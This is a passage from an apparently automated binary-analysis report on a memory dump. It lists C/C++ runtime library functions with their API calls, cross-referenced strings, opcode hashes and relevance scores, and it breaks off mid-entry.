Source File: 00000000.00000002.1018544264.000000006D4F3000.00000040.00020000.sdmp, Offset: 6D4F3000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: dd872fbd5f6138a37523809d22d06a2c32610ac0761497a0bf031a5b70212f13
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: 50116A72344101AFD714DE59EC85FA6B3AAEBD9220B2580AAED04CB311D776EC5286A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4F427C, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1018544264.000000006D4F3000.00000040.00020000.sdmp, Offset: 6D4F3000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: 2c3cb5b9ba6cc012a067f99ee9567e27d5bb8fda034db6e65919f2d474900c51
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 2801C4363542018FD705CB9DDA84D79B7E4EBCA3B4B26C07EC94A83725DA20ED47CA10

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CAD66, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6D4F0C28,0000000C,6D4CAEA1,00000000,00000000,?,6D4BC9C7,6D4C8C30,6D4C50D1,?,?,6D4BC9C7,0000041D), ref: 6D4CAD78
__crt_waiting_on_module_handle.LIBCMT ref: 6D4CAD83

Part of subcall function 6D4CCC55: Sleep.KERNEL32(000003E8,?,?,6D4CACC9,KERNEL32.DLL,?,6D4CD16E,?,6D4C50CB,6D4BC9C7,?,?,6D4BC9C7,0000041D), ref: 6D4CCC61
Part of subcall function 6D4CCC55: GetModuleHandleW.KERNEL32(6D4BC9C7,?,?,6D4CACC9,KERNEL32.DLL,?,6D4CD16E,?,6D4C50CB,6D4BC9C7,?,?,6D4BC9C7,0000041D), ref: 6D4CCC6A

__lock.LIBCMT ref: 6D4CADDE
InterlockedIncrement.KERNEL32(207CA16D), ref: 6D4CADEB
__lock.LIBCMT ref: 6D4CADFF
___addlocaleref.LIBCMT ref: 6D4CAE1D

Strings

KERNEL32.DLL, xrefs: 6D4CAD72, 6D4CAD77, 6D4CAD82

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: KERNEL32.DLL
API String ID: 4021795732-2576044830
Opcode ID: 315af08fc9e69efea0baa57323e3d34ff7fd997a7bfccd6070637779ef5a59b7
Instruction ID: 78104468110695cb87ec1b542d11f02efbfd961b895437c1a487e72d9a9e8c7c
Opcode Fuzzy Hash: 315af08fc9e69efea0baa57323e3d34ff7fd997a7bfccd6070637779ef5a59b7
Instruction Fuzzy Hash: 8E119D75804741EED720EF79C805F6ABBF0AF84315F10491ED5AAA3290DB349D01CF96

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C2490, Relevance: 12.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 6D4C2680: _localeconv.LIBCMT ref: 6D4C2687

std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C24F6

Part of subcall function 6D4C2740: _strlen.LIBCMT ref: 6D4C274A

std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2526
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C255E
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C25BD
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C25E3
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2612
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2634
std::_Locinfo::_Getcvt.LIBCPMTD ref: 6D4C2653

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: GetcvtLocinfo::_std::_$_localeconv_strlen
String ID:
API String ID: 3869368768-0
Opcode ID: 29c232d589ad580b0b1e45a37572c72f49be12d11bf0d7f671f5b7d731e17999
Instruction ID: 89fe452355f959fee9daada69b592660f0ddeaf8d4f9588ed0bd657bbcb85276
Opcode Fuzzy Hash: 29c232d589ad580b0b1e45a37572c72f49be12d11bf0d7f671f5b7d731e17999
Instruction Fuzzy Hash: 22511EB5A04248AFCB14DF94C890FAEBBB5BF48304F14812DE905AB385DB71AE45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C6FEA, Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 6D4C6FF9
__decode_pointer.LIBCMT ref: 6D4C7009

Part of subcall function 6D4CAC7A: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,6D4CD16E,?,6D4C50CB,6D4BC9C7,?,?,6D4BC9C7,0000041D), ref: 6D4CACB9
Part of subcall function 6D4CAC7A: __crt_waiting_on_module_handle.LIBCMT ref: 6D4CACC4
Part of subcall function 6D4CAC7A: GetProcAddress.KERNEL32(00000000,6D4EDE6C), ref: 6D4CACD4

__msize.LIBCMT ref: 6D4C7027
__realloc_crt.LIBCMT ref: 6D4C704B
__realloc_crt.LIBCMT ref: 6D4C7061
__encode_pointer.LIBCMT ref: 6D4C7073
__encode_pointer.LIBCMT ref: 6D4C7081
__encode_pointer.LIBCMT ref: 6D4C708C

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$AddressHandleModuleProc__crt_waiting_on_module_handle__msize
String ID:
API String ID: 1462085885-0
Opcode ID: 6aab67c2e7997ca2443faab024c433513f8a61a47866629c9508e53c45c5c77f
Instruction ID: e396983dd1f3d1364a3fb2896e9c6e665b9f7a9468688f2767373a71c239b4e9
Opcode Fuzzy Hash: 6aab67c2e7997ca2443faab024c433513f8a61a47866629c9508e53c45c5c77f
Instruction Fuzzy Hash: 3E11E93AA0C211AF9B119B79DC42D5937EAEF412A5726403AE604D7150FF21DD418B92

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C3DFC, Relevance: 12.0, APIs: 8, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D4C3E03
std::_Lockit::_Lockit.LIBCPMT ref: 6D4C3E0D
int.LIBCPMTD ref: 6D4C3E24

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

codecvt.LIBCPMT ref: 6D4C3E47
std::bad_exception::bad_exception.LIBCMT ref: 6D4C3E5B
__CxxThrowException@8.LIBCMT ref: 6D4C3E69
std::locale::facet::_Incref.LIBCPMTD ref: 6D4C3E79
std::locale::facet::facet_Register.LIBCPMT ref: 6D4C3E7F

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Exception@8H_prolog3IncrefRegisterThrowcodecvtstd::bad_exception::bad_exceptionstd::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 1213051545-0
Opcode ID: 0745857728b163ea0d28f8c8255de744d056e50b9f7c186070230aa47f6c34bb
Instruction ID: 9f373c456d65a83bb2743f45187b7f1634a083f256f2196286855ed3e6d6f21a
Opcode Fuzzy Hash: 0745857728b163ea0d28f8c8255de744d056e50b9f7c186070230aa47f6c34bb
Instruction Fuzzy Hash: 8A016D3A9081199BCF05DBA48844FBEB3366F91228F66051CD215AB2D0DF349E02CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C3BDD, Relevance: 12.0, APIs: 8, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D4C3BE4
std::_Lockit::_Lockit.LIBCPMT ref: 6D4C3BEE
int.LIBCPMTD ref: 6D4C3C05

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

ctype.LIBCPMT ref: 6D4C3C28
std::bad_exception::bad_exception.LIBCMT ref: 6D4C3C3C
__CxxThrowException@8.LIBCMT ref: 6D4C3C4A
std::locale::facet::_Incref.LIBCPMTD ref: 6D4C3C5A
std::locale::facet::facet_Register.LIBCPMT ref: 6D4C3C60

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_$Exception@8H_prolog3IncrefRegisterThrowctypestd::bad_exception::bad_exceptionstd::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 1593823581-0
Opcode ID: 51ad2fabf5f1fbbc569c7a57d56fd1626cd9347c42055a3160469c1eb8db5a8f
Instruction ID: 70ebf8d3b47c1b75ec63afab7c9bcf30ab6351bb310ce97adb8f644a74def28b
Opcode Fuzzy Hash: 51ad2fabf5f1fbbc569c7a57d56fd1626cd9347c42055a3160469c1eb8db5a8f
Instruction Fuzzy Hash: 6101617A90811597CF06DBA48885FBEB3356F90728F22051DD2116B2D0DF749E02CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BE8B0, Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D4BE912

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 8ad3bf76dc011543ac8f0b69892a1658115a0a1fb2fa30f2bd143288994143e1
Instruction ID: 6f1e58cd70eca2b708af64e68cde7cd548308231744a5f6b07f61c35986ab805
Opcode Fuzzy Hash: 8ad3bf76dc011543ac8f0b69892a1658115a0a1fb2fa30f2bd143288994143e1
Instruction Fuzzy Hash: 53416A31814158EBDB18CBA4D890FAAB374BB94314F5086EE951AA7295DB30AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C8290, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 6D4C82B8

Part of subcall function 6D4C6431: __getptd.LIBCMT ref: 6D4C643F
Part of subcall function 6D4C6431: __getptd.LIBCMT ref: 6D4C644D

__getptd.LIBCMT ref: 6D4C82C2

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__getptd.LIBCMT ref: 6D4C82D0
__getptd.LIBCMT ref: 6D4C82DE
__getptd.LIBCMT ref: 6D4C82E9
_CallCatchBlock2.LIBCMT ref: 6D4C830F

Part of subcall function 6D4C64D6: __CallSettingFrame@12.LIBCMT ref: 6D4C6522

Part of subcall function 6D4C83B6: __getptd.LIBCMT ref: 6D4C83C5
Part of subcall function 6D4C83B6: __getptd.LIBCMT ref: 6D4C83D3

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 30ef6bdf4328dd04bbd30316e98f65027d5da94ec5e1ec17ecb28112682f2306
Instruction ID: 6eaa465bdfaedb231121b5087a20daefb91923dbf0b933424973f9b47ec8b175
Opcode Fuzzy Hash: 30ef6bdf4328dd04bbd30316e98f65027d5da94ec5e1ec17ecb28112682f2306
Instruction Fuzzy Hash: 5F11C6B5C04209EFDB00DFA4C945EEE7BB0FF04319F118469E914A7260EB399E119B95

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C1700, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6D4C172F

Part of subcall function 6D4BE4D0: std::locale::locale.LIBCPMTD ref: 6D4BE4EA

Part of subcall function 6D4C1F70: std::_Lockit::_Lockit.LIBCPMT ref: 6D4C1F9A
Part of subcall function 6D4C1F70: int.LIBCPMTD ref: 6D4C1FB3

Part of subcall function 6D4BE200: std::locale::facet::_Decref.LIBCPMTD ref: 6D4BE216

numpunct.LIBCPMTD ref: 6D4C1769
_memmove_s.LIBCMT ref: 6D4C1868
std::ios_base::width.LIBCPMTD ref: 6D4C19DA

Strings

@, xrefs: 6D4C18E1

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: DecrefLockitLockit::__memmove_snumpunctstd::_std::ios_base::getlocstd::ios_base::widthstd::locale::facet::_std::locale::locale
String ID: @
API String ID: 3659140288-2766056989
Opcode ID: f4fd5889a24029401654406e3764699a035a260637bad8bb793612fba7714823
Instruction ID: fc883eb614ea50014ee2c53e50d00a5d319866f4a176f8b4b34744583b92fd9e
Opcode Fuzzy Hash: f4fd5889a24029401654406e3764699a035a260637bad8bb793612fba7714823
Instruction Fuzzy Hash: 76B105B5A081499FCB04CFA8C990EEEBBB5BF89304F25825DE919A7351D734AD01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BFCD0, Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFCFA
int.LIBCPMTD ref: 6D4BFD13

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 6819ef587a83286993b6705eceb863b0e3223483749abda1a1b96b1b4b30e326
Instruction ID: 8966222ed50a598d8b5e769b22855d652f75741f9acff16cd0aaa053f5df0b48
Opcode Fuzzy Hash: 6819ef587a83286993b6705eceb863b0e3223483749abda1a1b96b1b4b30e326
Instruction Fuzzy Hash: 89312A78D051499BCB04CFA8D880FEEB7B4FB59318F118629E526A7790DB355D01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C1F70, Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6D4C1F9A
int.LIBCPMTD ref: 6D4C1FB3

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: dc9827106badd23adc1f8ba93586a0bed249ca94bcb2bf427dc4dc6a72296fa6
Instruction ID: babe17cdae4c5ebd53ce59e2b68f77e06b14acd407e331ba172993c32b20bcc9
Opcode Fuzzy Hash: dc9827106badd23adc1f8ba93586a0bed249ca94bcb2bf427dc4dc6a72296fa6
Instruction Fuzzy Hash: BB312878D0415A9BCB14DFA8D880FFEB7B4FB49318F10862AE525A7390DB745D01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CDF38, Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D4CDF44

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__amsg_exit.LIBCMT ref: 6D4CDF64
__lock.LIBCMT ref: 6D4CDF74
InterlockedDecrement.KERNEL32(?), ref: 6D4CDF91
InterlockedIncrement.KERNEL32(6D4F3218), ref: 6D4CDFBC

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 65d4a157d9aa345e205bc4a5f070fe6f1875f93aacfb12706776fb78baffc03e
Instruction ID: 38984e93a740e23444f09cd402224de7000bdfd3c02b2406ab004204d41849ec
Opcode Fuzzy Hash: 65d4a157d9aa345e205bc4a5f070fe6f1875f93aacfb12706776fb78baffc03e
Instruction Fuzzy Hash: 02010039988A12EBDB11FB648044F6A7370BFC1325F224109E810A3394EB30AD52CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C7128, Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 6D4C7146

Part of subcall function 6D4CC0BA: __mtinitlocknum.LIBCMT ref: 6D4CC0D0
Part of subcall function 6D4CC0BA: __amsg_exit.LIBCMT ref: 6D4CC0DC
Part of subcall function 6D4CC0BA: RtlEnterCriticalSection.NTDLL(?), ref: 6D4CC0E4

___sbh_find_block.LIBCMT ref: 6D4C7151
___sbh_free_block.LIBCMT ref: 6D4C7160
HeapFree.KERNEL32(00000000,6D4BC9C7,6D4F09A0,0000000C,6D4CC09B,00000000,6D4F0CD8,0000000C,6D4CC0D5,6D4BC9C7,?,?,6D4D42CF,00000004,6D4F0F18,0000000C), ref: 6D4C7190
GetLastError.KERNEL32(?,6D4D42CF,00000004,6D4F0F18,0000000C,6D4C9A60,6D4BC9C7,?,00000000,00000000,00000000,?,6D4CAE78,00000001,00000214), ref: 6D4C71A1

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 5f1f538831278aa6b2971f8cfda6cae89d875ebaddbe48adfead39e02945653b
Instruction ID: 256af9f947b013151c7149a9d4a1c63039c66e0c050b766108a47be83b0916ed
Opcode Fuzzy Hash: 5f1f538831278aa6b2971f8cfda6cae89d875ebaddbe48adfead39e02945653b
Instruction Fuzzy Hash: 99016279C0D212EBDF21ABB19C05F6E3A74AF01369F22410DE614A6380DF389D418EE7

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C0930, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 6D4C0B10

Strings

$, xrefs: 6D4C0994
l, xrefs: 6D4C0949
$, xrefs: 6D4C098E

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: swprintf
String ID: $$$$l
API String ID: 233258989-1469801561
Opcode ID: 028eb3e0a1fdc2b8649f5670f6371ebbfaf6dc5d78f18677fc29355f8178d90a
Instruction ID: 9b32ded298d9ae2a1dd9db10c57639ba06d63d54cf4d46e3475d3aca3511905a
Opcode Fuzzy Hash: 028eb3e0a1fdc2b8649f5670f6371ebbfaf6dc5d78f18677fc29355f8178d90a
Instruction Fuzzy Hash: E3617AB490460DEBDF04DF59D944FAEBBB4FF99300F008198E598A6281CB359EA5CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C0B70, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 154COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 6D4C0D39

Strings

$, xrefs: 6D4C0BD4
$, xrefs: 6D4C0BCE
l, xrefs: 6D4C0B89

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: swprintf
String ID: $$$$l
API String ID: 233258989-1469801561
Opcode ID: 74df3ab9b09028e0184226a9f79eae3fcc41420ac9b8c111289cd8a3de498fca
Instruction ID: d83744b85b627b73d22eccd48168cda61257e9a9c6b1d0cf70b1fadc4cba58fa
Opcode Fuzzy Hash: 74df3ab9b09028e0184226a9f79eae3fcc41420ac9b8c111289cd8a3de498fca
Instruction Fuzzy Hash: 25517CB490460DDFDB08CF95D944FAEB7B4BF85304F0081D8E59866281DB349EA5CF56

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C5373, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 6D4C5385
___removelocaleref.LIBCMT ref: 6D4C5390
___freetlocinfo.LIBCMT ref: 6D4C53A4

Part of subcall function 6D4C50DC: ___free_lconv_mon.LIBCMT ref: 6D4C5122
Part of subcall function 6D4C50DC: ___free_lconv_num.LIBCMT ref: 6D4C5143
Part of subcall function 6D4C50DC: ___free_lc_time.LIBCMT ref: 6D4C51C8

Strings

8,Om, xrefs: 6D4C539B

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: 8,Om
API String ID: 4212647719-1634664185
Opcode ID: 292a8bc654f055096b63530e53f44d09d94295d5d681916e373e2af93005233a
Instruction ID: cf11c8011fbd3a34d8e0dcd7e02bd75d3b82717fe8faa1e3e47864bf7af31cca
Opcode Fuzzy Hash: 292a8bc654f055096b63530e53f44d09d94295d5d681916e373e2af93005233a
Instruction Fuzzy Hash: 2BE0863F509C2349C721155CA840F7E63A59FD2511B33097EE865EB378DBA48C81E4D3

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C0460, Relevance: 6.2, APIs: 4, Instructions: 188COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6D4C04E2
numpunct.LIBCPMTD ref: 6D4C053F

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: numpunctstd::ios_base::getloc
String ID:
API String ID: 1901892925-0
Opcode ID: 235b956287bc22aa6e71cb5254f992c44e0ec60a5352f36bc4fd55fde74973d5
Instruction ID: d46cca802f1d8047138c75ead14cd76b786d93c4b6d3fff805351d48088ad30d
Opcode Fuzzy Hash: 235b956287bc22aa6e71cb5254f992c44e0ec60a5352f36bc4fd55fde74973d5
Instruction Fuzzy Hash: CD813EB59041599FCB14CFA8C990FEEBBB5BF58304F10819CE61AA7291DB309E44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C78CF, Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 6D4C7993
__fileno.LIBCMT ref: 6D4C79B3
__locking.LIBCMT ref: 6D4C79BA
__flsbuf.LIBCMT ref: 6D4C79E5

Part of subcall function 6D4C8C2B: __getptd_noexit.LIBCMT ref: 6D4C8C2B

Part of subcall function 6D4C6B47: __decode_pointer.LIBCMT ref: 6D4C6B52

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 6f3d9d1881701bf8a52d60968634c7a9a83557c85b61e262406e1b402bd53dd6
Instruction ID: 424e7e4b1cc94b700e38205ae31bcc8eb3111cd1f578b08a4ee8c7c028198720
Opcode Fuzzy Hash: 6f3d9d1881701bf8a52d60968634c7a9a83557c85b61e262406e1b402bd53dd6
Instruction Fuzzy Hash: 1A41E539E08606DFEB15CF69C880DAEBBB6AF81360F31852DE46597250E771DE41CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6D4D4B4A, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6D4D4B7E
__isleadbyte_l.LIBCMT ref: 6D4D4BB2
MultiByteToWideChar.KERNEL32(00000080,00000009,6D4D0AAD,?,00000000,00000000,?,?,?,?,6D4D0AAD,00000000,?), ref: 6D4D4BE3
MultiByteToWideChar.KERNEL32(00000080,00000009,6D4D0AAD,00000001,00000000,00000000,?,?,?,?,6D4D0AAD,00000000,?), ref: 6D4D4C51

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 826c3f54ec1e6dd6a76e5c0582a24393821d76258946c28ab6f21c7f4ac7919a
Instruction ID: b456ec224a81920e6172830cf71cac051cad5ccf7877c583bb38c957ea211a56
Opcode Fuzzy Hash: 826c3f54ec1e6dd6a76e5c0582a24393821d76258946c28ab6f21c7f4ac7919a
Instruction Fuzzy Hash: F931F330A04346EFDB51DF64C8A4EBA3BB4FF0A391F2185A9E1689B291D331CD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D4D1584, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 6D4D15AA

Part of subcall function 6D4D13CF: __fltout2.LIBCMT ref: 6D4D13FB

__cftog_l.LIBCMT ref: 6D4D15D0
__cftoe_l.LIBCMT ref: 6D4D1602

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: c34abbd1296f7ae0ad105afb934567bc248b8be585a3f19d99314e43a2ceecc2
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 98118C7200414EBBCF524E84CC21CEE3F23BB09394F598419FE6859130D736C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C6788, Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6D4C67A2

Part of subcall function 6D4C5012: __FF_MSGBANNER.LIBCMT ref: 6D4C5035
Part of subcall function 6D4C5012: __NMSG_WRITE.LIBCMT ref: 6D4C503C

std::bad_alloc::bad_alloc.LIBCMT ref: 6D4C67C5

Part of subcall function 6D4C676D: std::exception::exception.LIBCMT ref: 6D4C6779

std::bad_exception::bad_exception.LIBCMTD ref: 6D4C67D9
__CxxThrowException@8.LIBCMT ref: 6D4C67E7

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Exception@8Throw_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1802512180-0
Opcode ID: 9854abf38c65dac0972782a00e4928968c18a9f83be2f1cea3be4fdbc3a12500
Instruction ID: 893e63e5c666d851708c366153f3b69b54a20c27e6da79ce86ec2f2a6e8396ae
Opcode Fuzzy Hash: 9854abf38c65dac0972782a00e4928968c18a9f83be2f1cea3be4fdbc3a12500
Instruction Fuzzy Hash: D7F0273C60E10623DF04AB35EE01E7D3BE84F4232CF22882CD900965A1DF22DD0185D3

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C53B1, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D4C53BD

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__getptd.LIBCMT ref: 6D4C53D4
__amsg_exit.LIBCMT ref: 6D4C53E2
__lock.LIBCMT ref: 6D4C53F2

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: c5de164001cbdc3ee88abc12fbeed37d5b74b2bad4bf5177194275533d6a0978
Instruction ID: 5fe74f74c7670dca781076a66ff823b2115d941aa4245807cd2af798957ca894
Opcode Fuzzy Hash: c5de164001cbdc3ee88abc12fbeed37d5b74b2bad4bf5177194275533d6a0978
Instruction Fuzzy Hash: 16F09639958740DBD720EB748401F6E72B06F4031AF52495DD551A73A0DBB49D41CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C83B6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D4C83C5

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__getptd.LIBCMT ref: 6D4C83D3

Strings

csm, xrefs: 6D4C83E1

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b379784f21376378956890797898c50fa94f265a2b5d3dfdd8b7aa5412bfc9b9
